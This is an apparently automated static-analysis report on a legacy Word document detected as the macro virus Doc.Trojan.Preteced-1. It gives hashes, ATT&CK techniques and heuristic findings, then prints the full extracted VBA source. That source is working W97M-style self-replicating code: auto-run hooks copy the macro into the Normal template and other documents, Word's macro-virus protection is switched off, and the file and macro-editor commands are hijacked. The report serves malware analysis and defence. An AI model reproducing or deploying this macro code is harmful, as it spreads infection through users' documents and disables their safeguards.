Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19cce75aeb9add88…

MALICIOUS

Office (OLE)

48.0 KB Created: 2001-09-10 21:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: db17861ab900e2685c81795b3327475f SHA-1: d8f8b0f3dc3442c92737d2ca64e51d81cce055e4 SHA-256: 19cce75aeb9add8879fa479471dbf1560f27fefe609a5704ae2bd07f427679a0
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, including AutoOpen and AutoClose routines. These macros are indicative of malware designed to execute automatically when the document is opened. The presence of legacy macro virus markers and the ClamAV detection further support a malicious classification. The script's primary function appears to be executing arbitrary code, likely to download and run a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Trojan.Preteced-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Preteced-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
       Application.OrganizerCopy Source:=cur_doc, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5965 bytes
SHA-256: 6c29277d3556517bbd6ef3c787a35e2366751ba3001d00987fc345986dc333ef
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Digital1"
Sub HelpAbout()

MsgBox ("Digital High Amplifying Super Heat Integrating Numerical Initials... are the norm of the day !")

End Sub

Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Digital.Digital1.MAIN"
' Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !
'
On Error Resume Next
Comment
d2n
NormalTemplate.Save
End Sub
Sub AutoClose()
Attribute AutoClose.VB_Description = "Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Digital.Digital1.AutoClose"
' Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !
'
On Error Resume Next
Comment
d2n
NormalTemplate.Save
MsgBox ("Digital says thanx")
End Sub

Sub AutoExit()
Attribute AutoExit.VB_Description = "Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !"
Attribute AutoExit.VB_ProcData.VB_Invoke_Func = "Digital.Digital1.AutoExit"
' Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !
'
On Error Resume Next
Comment
d2n
NormalTemplate.Save

End Sub

Sub FileOpen()
Attribute FileOpen.VB_Description = "Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !"
Attribute FileOpen.VB_ProcData.VB_Invoke_Func = "Digital.Digital1.FileOpen"
' Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !
'
Application.EnableCancelKey = wdCancelDisabled
On Error Resume Next
   Comment
   n2d
   d2n
   Dialogs(wdDialogFileOpen).Show

Application.EnableCancelKey = wdCancelInterrupt

End Sub

Sub FileSave()
Attribute FileSave.VB_Description = "Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !"
Attribute FileSave.VB_ProcData.VB_Invoke_Func = "Digital.Digital1.FileSave"
' Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !
'
On Error Resume Next
Comment
n2d
d2n
ActiveDocument.Save

End Sub

Sub FileSaveAs()
Attribute FileSaveAs.VB_Description = "Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !"
Attribute FileSaveAs.VB_ProcData.VB_Invoke_Func = "Digital.Digital1.FileSaveAs"
' Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !
'
On Error Resume Next
Comment
n2d
d2n
Dialogs(wdDialogFileSaveAs).Show
ActiveDocument.Save
End Sub

Sub d2n()
Attribute d2n.VB_Description = "Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !"
Attribute d2n.VB_ProcData.VB_Invoke_Func = "Digital.Digital1.d2n"
' Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !
'
On Error GoTo err
   cur_doc = ActiveDocument.FullName
   global_temp = NormalTemplate.FullName
   macroname = "Digital1"
   Application.OrganizerCopy Source:=cur_doc, _
                             Destination:=global_temp, _
                             Name:=macroname, _
                             Object:=wdOrganizerObjectProjectItems
err:

End Sub

Sub n2d()
Attribute n2d.VB_Description = "Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !"
Attribute n2d.VB_ProcData.VB_Invoke_Func = "Digital.Digital1.n2d"
' Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !
'
On Error GoTo err
   cur_doc = ActiveDocument.FullName
   global_temp = NormalTemplate.FullName
   macroname = "Digital1"
   Application.OrganizerCopy Source:=global_temp, _
   Destination:=cur_doc, Name:=macroname, _
   Object:=wdOrganizerObjectProjectItems
err:
End Sub

Sub ToolsMacro()
Attribute ToolsMacro.VB_Description = "Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !"
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = "Digital.Digital1.ToolsMacro"
' Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !
'

Application.EnableCancelKey = wdCancelDisabled
   titles = "Digital Macro Protected"
   msg = "Please enter correct Digital password:"
   Passcode = InputBox(msg, titles)
   If Passcode = "High" Then
      Dialogs(wdDialogToolsMacro).Show
   Else
      MsgBox ("Digital denies access ...")
   End If
Application.EnableCancelKey = wdCancelDisabled

End Sub

Sub ViewVBCode()
Attribute ViewVBCode.VB_Description = "Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !"
Attribute ViewVBCode.VB_ProcData.VB_Invoke_Func = "Digital.Digital1.ViewVBCode"
' Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !
'
Application.EnableCancelKey = wdCancelDisabled
   titles = "Digital Codes Protected"
   msg = "Please enter correct Digital password:"
   Passcode = InputBox(msg, titles)
   If Passcode = "High" Then
      Dialogs(wdDialogToolsMacro).Show
   Else
      MsgBox ("Digital denies access ...")
   End If
Application.EnableCancelKey = wdCancelDisabled

End Sub

Sub Comment()

Options.VirusProtection = False
Options.SaveNormalPrompt = False

With Dialogs(wdDialogFileSummaryInfo)
            .Comments = "Digital High Amplifying Super Heat Integrated Numerical Initials... are the norm of the day !"
            .Execute
End With


End Sub